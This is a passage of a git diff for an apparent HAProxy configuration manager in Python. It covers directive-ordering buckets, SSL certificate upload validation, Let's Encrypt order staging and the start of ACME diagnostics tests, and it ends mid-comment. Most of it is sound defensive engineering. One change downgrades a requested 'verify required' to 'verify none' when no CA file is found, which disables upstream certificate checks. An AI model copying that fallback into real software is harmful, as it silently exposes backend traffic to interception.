ACL definitions before they are referenced - # ACL Rules + # ACL Rules — categorized into 'acl' bucket; the buffer + # ordering already guarantees they are emitted before any + # http-request / use_backend that references them. if frontend.get('acl_rules'): acl_rules = frontend['acl_rules'] - - # CRITICAL DEBUG: Log type and raw value for troubleshooting logger.info(f"ACL_RULES DEBUG: Frontend '{frontend['name']}' acl_rules type: {type(acl_rules)}, repr: {repr(acl_rules)}") - - # Parse JSON string if needed + if isinstance(acl_rules, str): try: acl_rules = json.loads(acl_rules) logger.info(f"ACL_RULES DEBUG: Parsed as JSON list with {len(acl_rules) if isinstance(acl_rules, list) else 'N/A'} items") - except: + except (ValueError, json.JSONDecodeError): logger.warning(f"ACL_RULES DEBUG: JSON parse failed, setting to empty list") acl_rules = [] - + if isinstance(acl_rules, list): for idx, acl in enumerate(acl_rules): if acl and isinstance(acl, str) and acl.strip(): - acl_text = acl.strip() - - # CRITICAL FIX: Remove any stray JSON characters that might have leaked - acl_text = acl_text.strip('[]"\'') - acl_text = acl_text.strip() - + acl_text = acl.strip().strip('[]"\'').strip() logger.info(f"ACL_RULES DEBUG: Rule {idx}: original={repr(acl)}, cleaned={repr(acl_text)}") - - # Skip empty strings, "[]", or invalid ACL rules if acl_text and acl_text not in ('[]', '{}', 'null', 'None'): - # CRITICAL FIX: ACL rules from parser already include "acl" keyword - # Don't add it again! Parser stores: "acl name condition value" - # If ACL doesn't start with "acl ", add it (for manual entries) if not acl_text.startswith('acl '): acl_text = f"acl {acl_text}" - config_lines.append(f" {acl_text}") - - # HTTP Request Headers (must come AFTER ACL definitions) + _emit_fe(f" {acl_text}") + + # HTTP Request Headers — categorized into 'http_req'. if frontend.get('request_headers'): for line in frontend['request_headers'].split('\n'): line_stripped = line.strip() - # Skip empty strings, "[]", or invalid rules if line_stripped and line_stripped not in ('[]', '{}', 'null', 'None'): - # Lines are already complete directives (e.g., "http-request set-header X-Test 1") - config_lines.append(f" {line_stripped}") - - # HTTP Response Headers + _emit_fe(f" {line_stripped}") + + # HTTP Response Headers — categorized into 'http_resp'. if frontend.get('response_headers'): for line in frontend['response_headers'].split('\n'): line_stripped = line.strip() - # Skip empty strings, "[]", or invalid rules if line_stripped and line_stripped not in ('[]', '{}', 'null', 'None'): - # Lines are already complete directives (e.g., "http-response add-header X-Frame-Options DENY") - config_lines.append(f" {line_stripped}") - - # TCP Request Rules (for TCP mode frontends) + _emit_fe(f" {line_stripped}") + + # TCP Request Rules — categorized into 'tcp_req' bucket so + # they always emit BEFORE any 'http-request' directive (HAProxy + # warns "tcp-request placed after http-request will still be + # processed before" — pre-fix that warning fired on every + # TCP-mode frontend with later WAF rules). if frontend.get('tcp_request_rules'): for line in frontend['tcp_request_rules'].split('\n'): line_stripped = line.strip() - # Skip empty strings, "[]", or invalid rules if line_stripped and line_stripped not in ('[]', '{}', 'null', 'None'): - # Lines are already complete directives (e.g., "tcp-request inspect-delay 5s") - config_lines.append(f" {line_stripped}") - - # Redirect Rules + _emit_fe(f" {line_stripped}") + + # Redirect Rules — categorized into 'redirect' bucket. + # R11.A-1 (PR-1 hotfix): use _format_redirect_rule helper which + # safely renders dict payloads (the wizard's `_build_redirect_rules` + # emits dicts) into proper HAProxy `redirect ...` syntax. if frontend.get('redirect_rules'): redirect_rules = frontend['redirect_rules'] - # Parse JSON string if needed if isinstance(redirect_rules, str): try: redirect_rules = json.loads(redirect_rules) - except: - # Legacy format: newline-separated string + except (ValueError, json.JSONDecodeError): redirect_rules = [r.strip() for r in redirect_rules.split('\n') if r.strip()] - + if isinstance(redirect_rules, list): for redirect in redirect_rules: - if redirect: - redirect_text = str(redirect).strip() if redirect else '' - # Skip empty strings, "[]", or invalid redirect rules - if redirect_text and redirect_text not in ('[]', '{}', 'null', 'None'): - # Redirect rules don't need prefix (e.g., "scheme https if !{ ssl_fc }") - config_lines.append(f" redirect {redirect_text}") + line = _format_redirect_rule(redirect) + if line: + _emit_fe(line) - # Use Backend Rules + # Use Backend Rules — categorized into 'use_be' bucket so they + # always emit AFTER http-request rules (HAProxy parser + # warning fix) and BEFORE default_backend. if frontend.get('use_backend_rules'): use_backend_rules = frontend['use_backend_rules'] - - # CRITICAL DEBUG: Log type and raw value for troubleshooting + logger.info(f"USE_BACKEND DEBUG: Frontend '{frontend['name']}' use_backend_rules type: {type(use_backend_rules)}, repr: {repr(use_backend_rules)}") - - # Normalize to list + rules_list = None - + if isinstance(use_backend_rules, str): - # String: try JSON parse first try: parsed = json.loads(use_backend_rules) if isinstance(parsed, list): @@ -501,72 +1121,49 @@ async def generate_haproxy_config_for_cluster(cluster_id: int, conn: Optional[An else: logger.warning(f"Frontend '{frontend['name']}' use_backend_rules parsed to non-list: {type(parsed)}") except json.JSONDecodeError as e: - # Legacy format: newline-separated string logger.info(f"USE_BACKEND DEBUG: JSON parse failed ({e}), trying newline split") rules_list = [r.strip() for r in use_backend_rules.split('\n') if r.strip()] - + elif isinstance(use_backend_rules, (list, tuple)): - # Already a sequence (asyncpg auto-converts JSONB to Python list) rules_list = list(use_backend_rules) logger.info(f"USE_BACKEND DEBUG: Already a list with {len(rules_list)} items") - + else: - # Unexpected type - try to convert to string and log warning logger.error(f"Frontend '{frontend['name']}' use_backend_rules has unexpected type {type(use_backend_rules)}: {use_backend_rules}") - # Try to convert to string representation and parse try: rules_str = str(use_backend_rules) if rules_str.startswith('[') and rules_str.endswith(']'): - # Looks like a string representation of a list rules_list = json.loads(rules_str) except Exception as e: logger.error(f"Failed to parse use_backend_rules: {e}") rules_list = None - - # Write rules if we successfully parsed them + if rules_list: for idx, rule in enumerate(rules_list): if rule and isinstance(rule, str): - rule_text = rule.strip() - - # CRITICAL FIX: Remove any stray JSON characters that might have leaked - # This can happen due to serialization issues or database corruption - # Remove leading/trailing brackets and quotes that shouldn't be there - rule_text = rule_text.strip('[]"\'') - rule_text = rule_text.strip() - + rule_text = rule.strip().strip('[]"\'').strip() logger.info(f"USE_BACKEND DEBUG: Rule {idx}: original={repr(rule)}, cleaned={repr(rule_text)}") - - # Skip empty strings, "[]", or invalid use_backend rules if rule_text and rule_text not in ('[]', '{}', 'null', 'None', '""', "''"): - # CRITICAL FIX: use_backend rules from parser already include "use_backend" keyword - # Don't add it again! Parser stores: "use_backend BackendName if condition" - # If rule doesn't start with "use_backend ", add it (for manual entries) if not rule_text.startswith('use_backend '): rule_text = f"use_backend {rule_text}" - config_lines.append(f" {rule_text}") + _emit_fe(f" {rule_text}") logger.debug(f"Added use_backend rule: {rule_text}") else: logger.warning(f"Skipping invalid rule (type: {type(rule)}): {rule}") - - # Default backend (already added at the beginning of frontend section) - + # Separate logging if frontend.get('log_separate', False): - config_lines.append(f" log 127.0.0.1:514 local0 info") - + _emit_fe(f" log 127.0.0.1:514 local0 info") + # Add WAF rules for this frontend assigned_waf_rules = [rule for rule in waf_rules_records if frontend['id'] in rule['frontend_ids']] - # Combine with cluster-global rules effective_waf_rules = list(assigned_waf_rules) + list(cluster_global_waf_rules) - # Sort by priority then name if available try: effective_waf_rules.sort(key=lambda r: (r.get('priority', 100), r.get('name', ''))) except Exception: pass for waf_rule in effective_waf_rules: - # Merge JSONB config payload into top-level dict for generator compatibility merged_rule = dict(waf_rule) cfg = waf_rule.get('config') if cfg: @@ -578,14 +1175,39 @@ async def generate_haproxy_config_for_cluster(cluster_id: int, conn: Optional[An cfg = {} if isinstance(cfg, dict): merged_rule.update(cfg) - + waf_config_lines = _generate_waf_config_lines(merged_rule) if waf_config_lines: logger.debug(f"Config Generation: Added {len(waf_config_lines)} lines for WAF rule '{waf_rule['name']}' (ID: {waf_rule['id']}, Status: {waf_rule.get('last_config_status', 'N/A')})") - config_lines.extend(waf_config_lines) + # R3.3: each WAF line is routed individually so the + # buckets keep ordering correct AND so duplicate + # `stick-table` declarations from multiple + # rate_limit rules are deduped at the buffer. + for waf_line in waf_config_lines: + _emit_fe(waf_line) else: logger.warning(f"Config Generation: No config lines generated for WAF rule '{waf_rule['name']}' (ID: {waf_rule['id']}, Type: {waf_rule['rule_type']})") - + + # ───────────────────────────────────────────────────────────── + # Flush the per-frontend buckets in canonical HAProxy order. + # The order below is the single source of truth for emit + # ordering in this generator. See `_categorize_haproxy_directive` + # for the per-prefix routing rules. + # ───────────────────────────────────────────────────────────── + for _bucket_key in ( + "prelude", + "stick", + "tcp_req", + "acl", + "http_req", + "http_resp", + "redirect", + "use_be", + "default_be", + ): + if _fe_buckets[_bucket_key]: + config_lines.extend(_fe_buckets[_bucket_key]) + config_lines.append("") # Add backends @@ -767,10 +1389,43 @@ async def generate_haproxy_config_for_cluster(cluster_id: int, conn: Optional[An has_ca_file = True logger.info(f"🔒 CONFIG SSL: Added ca-file for server {server_name}: {cert_path}") - # Handle ssl_verify option - # Skip empty strings, "[]", or invalid values + # Handle ssl_verify option. + # Skip empty strings, "[]", or invalid values. if ssl_verify and ssl_verify not in ('[]', '{}', 'null', 'None'): - server_line += f" verify {ssl_verify}" + # R18c audit fix (round 3 #3 — KRITIK config + # validity): refuse to emit `verify required` + # (or `verify optional`) when no `ca-file` + # could be resolved for this server. Pre-fix + # the operator's `ssl_verify=required` was + # emitted verbatim even after a referenced + # SSL cert was deleted / soft-deactivated, + # producing a config that HAProxy reload + # SOMETIMES rejected and SOMETIMES accepted + # (depending on whether + # `ssl-default-server-ca-file` was set in + # the global block). The result was either a + # hard reload failure or — worse — silent + # acceptance with default system trust, + # leading to upstream connections that + # bypassed the operator's expected CA pin. + # Downgrade to `verify none` with an ERROR + # log so the operator sees the cause in + # apply-changes diagnostics and can re-bind + # the cert. + verify_lower = ssl_verify.strip().lower() + if verify_lower in ('required', 'optional') and not has_ca_file: + server_line += " verify none" + logger.error( + f"CONFIG SSL DOWNGRADE: server {server_name} " + f"requested verify={verify_lower} but no " + "ca-file could be resolved (ssl_certificate_id " + "missing or pointing at an inactive cert). " + "Emitting 'verify none' to prevent reload " + "failure / accidental system-trust validation. " + "Re-bind the CA cert before applying." + ) + else: + server_line += f" verify {ssl_verify}" elif not has_ca_file: # CRITICAL: If SSL is enabled but no CA file and no explicit verify option, # HAProxy 2.8+ defaults to 'verify required' which will fail without CA. @@ -803,10 +1458,40 @@ async def generate_haproxy_config_for_cluster(cluster_id: int, conn: Optional[An server_line += f" rise {server['rise']}" # Cookie Value (new field) + # Phase K Phase D follow-up (Bulgu #13) — only emit + # the per-server `cookie ` attribute when the + # PARENT backend actually has cookie-based session + # persistence enabled (`cookie SERVERID insert + # indirect nocache` directive). Without that, the + # per-server cookie is just metadata HAProxy stores + # but never inserts / reads → silently broken + # stickiness. Pre-fix the wizard let the operator + # set `cookie srv1` on a server while leaving the + # backend's cookie_name empty, producing a confusing + # half-configured stickiness. cookie_val = server.get('cookie_value', '').strip() if server.get('cookie_value') else '' + parent_backend_has_cookie = bool( + (backend.get('cookie_name') or '').strip() + and backend['cookie_name'].strip() not in ('[]', '{}', 'null', 'None') + ) # Skip empty strings, "[]", or invalid values if cookie_val and cookie_val not in ('[]', '{}', 'null', 'None'): - server_line += f" cookie {cookie_val}" + if parent_backend_has_cookie: + server_line += f" cookie {cookie_val}" + else: + logger.warning( + f"CONFIG COOKIE INCONSISTENT: server " + f"{server_name} in backend " + f"'{backend.get('name', '')}' has " + f"cookie_value='{cookie_val}' but the " + f"backend itself has no cookie persistence " + f"directive (cookie_name is empty). The " + f"per-server cookie is being SKIPPED in the " + f"rendered config to prevent silently broken " + f"stickiness. Enable backend-level cookie " + f"persistence first, or clear the per-server " + f"cookie_value." + ) # Backup Server if server.get('backup_server', False): diff --git a/backend/services/letsencrypt_service.py b/backend/services/letsencrypt_service.py new file mode 100644 index 0000000..0ad3d04 --- /dev/null +++ b/backend/services/letsencrypt_service.py @@ -0,0 +1,128 @@ +""" +letsencrypt_service: thin extraction layer for ACME order creation paths. + +Two flavors needed by v1.5.0 wizard (Section 4.4): + +1) create_order_staged(conn, ...) — INSERTs a letsencrypt_orders row with + status='wizard_staged', NO LE API call yet. The background task + complete_pending_acme_orders will later detect agent confirmation and + transition this to a real ACME order via create_order_via_api. + +2) create_order_via_api(conn, ...) — thin wrapper around the existing + acme_service.AcmeService.create_order() routine, used both by the + /api/letsencrypt/orders endpoint and the staged-promotion flow. Caller + may pass `expected_account_id` so we can update existing letsencrypt_orders + row in place (UPDATE order_url + status='pending') instead of inserting a + new one. + +Notes: +- Staged orders have order_url IS NULL — the wizard's create flow never + contacts the CA, so failure modes here are purely DB-bound. R58/M37 + (`order_url IS NULL` idempotency check) lives in main.py background task. +- post_completion_actions JSONB carries the *deferred* HTTPS frontend create + request that fires once the certificate is downloaded — see + letsencrypt.py _complete_certificate. +""" + +import json +import logging +from typing import Any, List, Optional + +logger = logging.getLogger(__name__) + + +async def create_order_staged( + conn, + *, + account_id: int, + domains: List[str], + cluster_ids: List[int], + post_completion_actions: List[dict], + pending_apply_version_name: Optional[str] = None, + created_by: Optional[int] = None, +) -> int: + """Insert a wizard-staged ACME order row with status='wizard_staged'. + + No LE API call. Returns new order id. + + The background task complete_pending_acme_orders will later detect agent + confirmation (via pending_apply_version_name match) and call + create_order_via_api to promote to status='pending'. + """ + order_id = await conn.fetchval( + """ + INSERT INTO letsencrypt_orders ( + account_id, order_url, status, domains, finalize_url, expires_at, + cluster_ids, post_completion_actions, pending_apply_version_name, + created_by, wizard_staged_until + ) VALUES ( + $1, NULL, 'wizard_staged', $2::jsonb, '', NULL, + $3::jsonb, $4::jsonb, $5, + $6, NOW() + INTERVAL '24 hours' + ) + RETURNING id + """, + account_id, + json.dumps(domains), + json.dumps(cluster_ids), + json.dumps(post_completion_actions or []), + pending_apply_version_name, + created_by, + ) + logger.info( + "ACME WIZARD: staged order id=%s domains=%s pending_apply_version_name=%s", + order_id, + domains, + pending_apply_version_name, + ) + return order_id + + +async def promote_staged_order_to_pending( + conn, + *, + order_id: int, + order_url: str, + finalize_url: str, + status: str = "pending", + expires_at: Any = None, +) -> None: + """In-place update of a wizard_staged order row after the LE newOrder call + has succeeded. status -> 'pending' (or whatever LE returned). + """ + await conn.execute( + """ + UPDATE letsencrypt_orders + SET order_url = $2, + finalize_url = $3, + status = $4, + expires_at = $5, + updated_at = NOW() + WHERE id = $1 + """, + order_id, + order_url, + finalize_url, + status, + expires_at, + ) + + +async def create_order_via_api( + acme_service_instance, + *, + account_id: int, + domains: List[str], + cluster_ids: Optional[List[int]] = None, +) -> dict: + """Thin wrapper around AcmeService.create_order() — used by both the public + POST /api/letsencrypt/orders endpoint and the staged promotion path. + + Returns the same dict the upstream method returns (id, order_url, + status, domains, ...). + """ + return await acme_service_instance.create_order( + account_id=account_id, + domains=domains, + cluster_ids=cluster_ids, + ) diff --git a/backend/services/ssl_service.py b/backend/services/ssl_service.py new file mode 100644 index 0000000..1a74cec --- /dev/null +++ b/backend/services/ssl_service.py @@ -0,0 +1,410 @@ +""" +ssl_service: extracted helpers for SSL certificate row creation + cluster junction. + +Used by: +- routers/site_wizard.py wizard (mode=upload | existing) +- (future) other SSL flows + +Design (Section 4.3 of v1.5.0 plan): +- R38 schema: ssl_certificates.cluster_id always NULL — junction table + ssl_certificate_clusters is the single source of truth for cluster binding. +- M11 idempotent junction insertion via ON CONFLICT DO NOTHING. +- last_config_status='PENDING' set explicitly at INSERT time (matches ssl.py:467-477). + +Phase K Phase D follow-up (Bulgu #9) — parity with SSL Management page. + +Before the follow-up, the wizard's PEM upload path persisted a sparse +row: primary_domain/all_domains came from the operator-entered +FRONTEND domains (not the cert SAN); expiry_date/issuer/fingerprint +were NULL; status was hard-coded `'valid'`; days_until_expiry was +`0`; private_key / chain went un-validated; name uniqueness was +not enforced (would 500 on the DB unique constraint instead of +returning a friendly 400); soft-deleted rows could not be +reactivated. SSL Management's `/api/ssl/certificates` POST does +all of this. The wizard-created cert appeared on the SSL +Management page with empty expiry/issuer columns and a permanent +"valid" status — confusing UX and inconsistent with the dedicated +flow. + +`create_cert_row` now: +- parses the certificate via `utils.ssl_parser.parse_ssl_certificate`, +- validates private_key + chain via the same helpers SSL Management uses, +- enforces name uniqueness within the target cluster (mirrors + ssl.py:392-411 but scoped to the wizard's single cluster), +- reactivates soft-deleted certs with the same name (mirrors + ssl.py:470-500), preserving the row id so existing references + do not break, +- recomputes status / days_until_expiry / timezone-normalises + expiry_date the same way ssl.py:432-460 does, +- raises `HTTPException(400)` on every parse/validation failure + (callers translate to wizard step-jumpback toasts). +""" + +import json +import logging +from datetime import datetime, timezone +from typing import Any, Optional + +from fastapi import HTTPException + +from utils.ssl_parser import ( + parse_ssl_certificate, + validate_certificate_chain, + validate_private_key, +) + +logger = logging.getLogger(__name__) + + +def _normalise_expiry_to_naive_utc(expiry: Optional[datetime]) -> Optional[datetime]: + """Mirror ssl.py:418-460 timezone handling — DB column is + timezone-naive UTC; pre-normalisation drift caused inconsistent + `expires_in_days` math between rows created via the two flows.""" + if not expiry: + return None + try: + if expiry.tzinfo is None: + expiry = expiry.replace(tzinfo=timezone.utc) + else: + expiry = expiry.astimezone(timezone.utc) + return expiry.astimezone(timezone.utc).replace(tzinfo=None) + except Exception as tz_error: + logger.warning( + "ssl_service._normalise_expiry_to_naive_utc: timezone " + f"conversion failed ({tz_error}); persisting NULL" + ) + return None + + +def _recompute_status_from_expiry( + cert_info_status: str, + expiry_date: Optional[datetime], + cert_info_days: int, +) -> tuple[str, int]: + """Mirror ssl.py:436-454 — recompute status + days_until_expiry + from the normalised expiry date so two SSL rows created on the + same cert have identical lifecycle fields regardless of the + creation flow. + + Returns (status, days_until_expiry). + """ + if not expiry_date: + return cert_info_status or "valid", cert_info_days or 0 + try: + now_utc = datetime.utcnow() + days_left = (expiry_date - now_utc).days + if days_left < 0: + return "expired", days_left + if days_left < 30: + return "expiring_soon", days_left + return "valid", days_left + except Exception as calc_error: + logger.warning( + "ssl_service._recompute_status_from_expiry: failed " + f"({calc_error}); falling back to parser-provided values" + ) + return cert_info_status or "valid", cert_info_days or 0 + + +async def create_cert_row( + conn, + payload: Any, + cluster_id: int, +) -> int: + """Insert a row into ssl_certificates (always cluster_id=NULL) + junction + binding to the given cluster_id. Returns new ssl_certificate_id. + + payload is expected to expose: + name, certificate_content, private_key_content, chain_content, + usage_type (optional, default 'frontend'). + + All cert metadata (primary_domain, all_domains, expiry_date, + issuer, fingerprint, status, days_until_expiry) is now parsed + FROM the PEM content via `parse_ssl_certificate` — operator- + supplied values on the payload are accepted as a graceful + fallback only when parsing fails (which itself raises 400). + """ + cert_content = getattr(payload, "certificate_content", None) or "" + if not cert_content.strip(): + raise HTTPException( + status_code=400, + detail="ssl.certificate_content is empty — paste the PEM-encoded certificate.", + ) + + cert_info = parse_ssl_certificate(cert_content) + if cert_info.get("error"): + raise HTTPException( + status_code=400, + detail=f"Invalid SSL certificate: {cert_info['error']}", + ) + + private_key_content = getattr(payload, "private_key_content", None) + if private_key_content and not validate_private_key(private_key_content): + raise HTTPException( + status_code=400, + detail=( + "Invalid private key format — paste the PEM-encoded private " + "key. If the key is encrypted with a passphrase, decrypt it " + "first (`openssl rsa -in encrypted.key -out plain.key`) — " + "HAProxy cannot read passphrase-protected keys." + ), + ) + + # Bulgu #23 (round-12 audit): cert and key MUST share the same + # public key. Pre-fix the upload paths validated cert and key + # independently, so mixing PEMs from different sites surfaced + # only at the agent's `haproxy -c` with an opaque + # "X509_check_private_key: key values mismatch" alert — by which + # point entities + PENDING version were already created. + if private_key_content: + from utils.ssl_parser import verify_certificate_key_match + match_result = verify_certificate_key_match(cert_content, private_key_content) + if match_result.get("match") is False: + raise HTTPException( + status_code=400, + detail=( + "SSL certificate and private key do not match — the " + "cert's public key differs from the private key's public " + "key. The pair likely belongs to two different sites or " + "a stale key was pasted. Re-export both PEM files from " + "the same issuance and try again." + ), + ) + + chain_content = getattr(payload, "chain_content", None) + if chain_content and not validate_certificate_chain(chain_content): + raise HTTPException( + status_code=400, + detail="Invalid certificate chain format — paste the PEM-encoded chain.", + ) + + # Bulgu #24 (round-12 audit): refuse to create a row for an already + # EXPIRED certificate. Pre-fix the wizard / direct upload accepted + # certs with `status='expired'` from parse_ssl_certificate, the + # row was inserted, the wizard built an HTTPS frontend bound to + # it, and the agent deployed a cert that EVERY browser rejects + # at the TLS handshake. Recovery required noticing the broken + # site, rejecting the version, and re-uploading a valid cert. + # Hard-reject here so the operator sees a clear 400 at upload + # time instead of a runtime user-facing TLS failure. + if cert_info.get("status") == "expired": + days_past = cert_info.get("days_until_expiry", 0) + raise HTTPException( + status_code=400, + detail=( + f"SSL certificate is already expired ({-int(days_past) if isinstance(days_past, (int, float)) else 'unknown'} " + "days past notAfter). HAProxy will load it but every browser " + "TLS handshake will fail with NET::ERR_CERT_DATE_INVALID. " + "Replace with a non-expired certificate before deploying." + ), + ) + + expiry_date = _normalise_expiry_to_naive_utc(cert_info.get("expiry_date")) + primary_domain = cert_info.get("primary_domain") or getattr(payload, "primary_domain", None) + all_domains = cert_info.get("all_domains") or getattr(payload, "all_domains", None) or ( + [primary_domain] if primary_domain else [] + ) + issuer = cert_info.get("issuer") or getattr(payload, "issuer", None) + fingerprint = cert_info.get("fingerprint") or getattr(payload, "fingerprint", None) + status, days_until_expiry = _recompute_status_from_expiry( + cert_info.get("status", "valid"), + expiry_date, + cert_info.get("days_until_expiry", 0), + ) + usage_type = getattr(payload, "usage_type", "frontend") or "frontend" + + existing = await conn.fetchrow( + """ + SELECT s.id, s.is_active + FROM ssl_certificates s + LEFT JOIN ssl_certificate_clusters scc ON s.id = scc.ssl_certificate_id + WHERE s.name = $1 + AND ( + NOT EXISTS ( + SELECT 1 FROM ssl_certificate_clusters + WHERE ssl_certificate_id = s.id + ) + OR scc.cluster_id = $2 + ) + LIMIT 1 + """, + payload.name, + cluster_id, + ) + if existing and existing["is_active"]: + raise HTTPException( + status_code=400, + detail=( + f"SSL certificate with name '{payload.name}' already exists in this cluster. " + "Choose a different name or remove the existing one from SSL Management first." + ), + ) + + if existing and not existing["is_active"]: + await conn.execute( + """ + DELETE FROM ssl_certificate_clusters WHERE ssl_certificate_id = $1 + """, + existing["id"], + ) + await conn.execute( + """ + UPDATE ssl_certificates + SET is_active = TRUE, + last_config_status = 'PENDING', + certificate_content = $2, + private_key_content = $3, + chain_content = $4, + primary_domain = $5, + all_domains = $6::jsonb, + expiry_date = $7, + usage_type = $8, + issuer = $9, + fingerprint = $10, + status = $11, + days_until_expiry = $12, + updated_at = CURRENT_TIMESTAMP + WHERE id = $1 + """, + existing["id"], + cert_content, + private_key_content, + chain_content, + primary_domain, + json.dumps(all_domains), + expiry_date, + usage_type, + issuer, + fingerprint, + status, + days_until_expiry, + ) + cert_id = existing["id"] + logger.info( + "ssl_service.create_cert_row: reactivated soft-deleted " + f"cert '{payload.name}' (id={cert_id}) via wizard parity path" + ) + else: + cert_id = await conn.fetchval( + """ + INSERT INTO ssl_certificates ( + name, primary_domain, certificate_content, private_key_content, chain_content, + expiry_date, issuer, fingerprint, status, days_until_expiry, all_domains, + is_active, cluster_id, last_config_status, usage_type + ) VALUES ( + $1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11::jsonb, + TRUE, NULL, 'PENDING', $12 + ) + RETURNING id + """, + payload.name, + primary_domain, + cert_content, + private_key_content, + chain_content, + expiry_date, + issuer, + fingerprint, + status, + days_until_expiry, + json.dumps(all_domains), + usage_type, + ) + + await ensure_cluster_junction(conn, cert_id, cluster_id) + return cert_id + + +async def ensure_cluster_junction(conn, ssl_certificate_id: int, cluster_id: int) -> None: + """Idempotent insert into ssl_certificate_clusters (M11).""" + await conn.execute( + """ + INSERT INTO ssl_certificate_clusters (ssl_certificate_id, cluster_id) + VALUES ($1, $2) + ON CONFLICT (ssl_certificate_id, cluster_id) DO NOTHING + """, + ssl_certificate_id, + cluster_id, + ) + + +async def select_existing_cert(conn, ssl_certificate_id: int, cluster_id: int) -> Optional[int]: + """Validate that the cert exists AND is eligible for the given + cluster, then ensure cluster junction. Returns the cert id when + valid, else None. + + R18b audit fix (round 4 #C — cert RBAC bypass): pre-fix this + helper only checked `is_active=TRUE` and then UNCONDITIONALLY + attached the cluster junction row. That meant an authenticated + operator with access to cluster B could reference any + cluster-A-bound cert id (or any global-but-not-junctioned cert) + and the wizard would silently bind it to cluster B. The + `GET /api/ssl/certificates` listing already enforces the correct + eligibility predicate ("global cert OR junction already includes + this cluster"); this helper now mirrors that predicate so the + wizard cannot grant access the listing forbids. + + Eligibility rule (matches ssl.py listing): + - cert is "global" (no rows in ssl_certificate_clusters), OR + - cert is already bound to `cluster_id`. + """ + row = await conn.fetchrow( + """ + SELECT sc.id + FROM ssl_certificates sc + WHERE sc.id = $1 + AND sc.is_active = TRUE + AND ( + NOT EXISTS ( + SELECT 1 FROM ssl_certificate_clusters + WHERE ssl_certificate_id = sc.id + ) + OR EXISTS ( + SELECT 1 FROM ssl_certificate_clusters + WHERE ssl_certificate_id = sc.id AND cluster_id = $2 + ) + ) + """, + ssl_certificate_id, + cluster_id, + ) + if not row: + return None + await ensure_cluster_junction(conn, ssl_certificate_id, cluster_id) + return row["id"] + + +async def validate_server_ca_bundle_eligibility( + conn, ssl_certificate_id: int, cluster_id: int +) -> bool: + """R18b audit fix (round 4 #C): per-server `ssl_certificate_id` + (HAProxy `ca-file` for upstream verification) skipped any cluster + eligibility check pre-R18b — only DB FK integrity. That allowed + the same cross-cluster reference primitive as `select_existing_cert`. + The wizard now calls this validator before persisting the row. + + Returns True iff the cert is active AND visible to the cluster + using the same eligibility rule as `select_existing_cert`. + """ + row = await conn.fetchrow( + """ + SELECT 1 + FROM ssl_certificates sc + WHERE sc.id = $1 + AND sc.is_active = TRUE + AND ( + NOT EXISTS ( + SELECT 1 FROM ssl_certificate_clusters + WHERE ssl_certificate_id = sc.id + ) + OR EXISTS ( + SELECT 1 FROM ssl_certificate_clusters + WHERE ssl_certificate_id = sc.id AND cluster_id = $2 + ) + ) + LIMIT 1 + """, + ssl_certificate_id, + cluster_id, + ) + return row is not None diff --git a/backend/tests/test_acme_diagnostics.py b/backend/tests/test_acme_diagnostics.py new file mode 100644 index 0000000..65065d8 --- /dev/null +++ b/backend/tests/test_acme_diagnostics.py @@ -0,0 +1,508 @@ +""" +v1.5.0 Feature A — services/acme_diagnostics.py per-check unit tests. + +Each check is exercised with a mocked asyncpg connection (or no conn at all +for stdlib-only checks). DNS / port-80 are exercised through monkeypatched +asyncio primitives so the tests run hermetically — no real network. +""" +import asyncio +import json +import socket +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +from services.acme_diagnostics import ( + CHECK_IDS, + _check_result, + check_account, + check_agents, + check_dns, + check_port80, + check_routing, + run_checks, +) + + +# ---------------------------------------------------------------------------- +# _check_result schema invariants +# ---------------------------------------------------------------------------- + + +def test_check_result_default_shape(): + r = _check_result("dns", "DNS resolution", "ok", "all good") + assert set(r.keys()) >= {"id", "label", "status", "severity", "message", "details", "duration_ms"} + assert r["id"] == "dns" + assert r["status"] == "ok" + assert r["severity"] == "info" + assert r["details"] == {} + assert r["duration_ms"] is None + + +def test_check_ids_constant_order(): + assert CHECK_IDS == ("dns", "port80", "routing", "account", "agents") + + +# ---------------------------------------------------------------------------- +# DNS check +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_check_dns_all_resolve(monkeypatch): + def fake_gethostbyname_ex(domain): + return (domain, [], ["10.0.0.1"]) + + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + + out = await check_dns(["a.example.com", "b.example.com"]) + assert out["status"] == "ok" + assert out["details"]["resolved"]["a.example.com"] == ["10.0.0.1"] + assert out["duration_ms"] is not None and out["duration_ms"] >= 0 + + +@pytest.mark.asyncio +async def test_check_dns_failure_marks_fail(monkeypatch): + def fake_gethostbyname_ex(domain): + raise socket.gaierror("Name or service not known") + + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + + out = await check_dns(["nope.example.com"]) + assert out["status"] == "fail" + assert out["severity"] == "error" + assert len(out["details"]["failed"]) == 1 + assert out["details"]["failed"][0]["domain"] == "nope.example.com" + + +@pytest.mark.asyncio +async def test_check_dns_wildcard_skipped(monkeypatch): + """*.example.com cannot be HTTP-01 validated — must NOT be resolved.""" + called = [] + + def fake_gethostbyname_ex(domain): + called.append(domain) + return (domain, [], ["10.0.0.1"]) + + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + + out = await check_dns(["*.example.com"]) + assert out["status"] == "ok" + assert called == [] # wildcard never reached the resolver + assert out["details"]["resolved"]["*.example.com"] == [] + + +@pytest.mark.asyncio +async def test_check_dns_empty_ips_marks_failure(monkeypatch): + def fake_gethostbyname_ex(domain): + return (domain, [], []) + + monkeypatch.setattr(socket, "gethostbyname_ex", fake_gethostbyname_ex) + out = await check_dns(["a.example.com"]) + assert out["status"] == "fail" + assert "no A records" in out["details"]["failed"][0]["reason"] + + +# ---------------------------------------------------------------------------- +# Port-80 check (HEAD probe) +# ---------------------------------------------------------------------------- + + +class _FakeHEADResp: + def __init__(self, status): + self.status = status + + async def __aenter__(self): + return self + + async def __aexit__(self, *args): + return False + + +class _FakeSession: + def __init__(self, *, statuses=None, raise_timeout=False, raise_client_error=False): + self._statuses = list(statuses or []) + self._raise_timeout = raise_timeout + self._raise_client_error = raise_client_error + + async def __aenter__(self): + return self + + async def __aexit__(self, *args): + return False + + def head(self, url, allow_redirects=False): + if self._raise_timeout: + raise asyncio.TimeoutError() + if self._raise_client_error: + import aiohttp + raise aiohttp.ClientError("connection refused") + status = self._statuses.pop(0) if self._statuses else 200 + return _FakeHEADResp(status) + + +def _mock_public_dns(monkeypatch, ip="93.184.216.34"): + """R18b round 4 #B: check_port80 now refuses to probe domains + whose A records point at private/loopback/metadata IP space + (SSRF 